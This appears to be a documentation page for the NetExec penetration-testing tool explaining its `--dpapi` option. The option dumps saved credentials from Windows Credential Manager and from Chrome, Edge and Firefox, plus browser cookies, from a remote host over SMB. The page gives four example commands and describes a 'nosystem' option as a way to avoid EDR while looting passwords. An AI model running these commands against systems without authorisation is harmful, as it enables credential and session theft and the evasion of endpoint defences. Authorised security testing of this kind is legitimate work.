# Dump DPAPI

You can dump DPAPI credentials using NetExec using the following option: `--dpapi`. It will get all secrets from Credential Manager, Chrome, Edge, Firefox. `--dpapi` supports the following options :

* cookies : Collect every cookies in browsers
* nosystem : Won't collect system credentials. This will prevent EDR from stopping you from looting passwords :fire:

{% hint style="danger" %}
You need at least local admin privilege on the remote target, use **--local-auth** if your user is a local account
{% endhint %}

```bash
nxc smb <ip> -u user -p password --dpapi
nxc smb <ip> -u user -p password --dpapi cookies
nxc smb <ip> -u user -p password --dpapi nosystem
nxc smb <ip> -u user -p password --local-auth --dpapi nosystem
```


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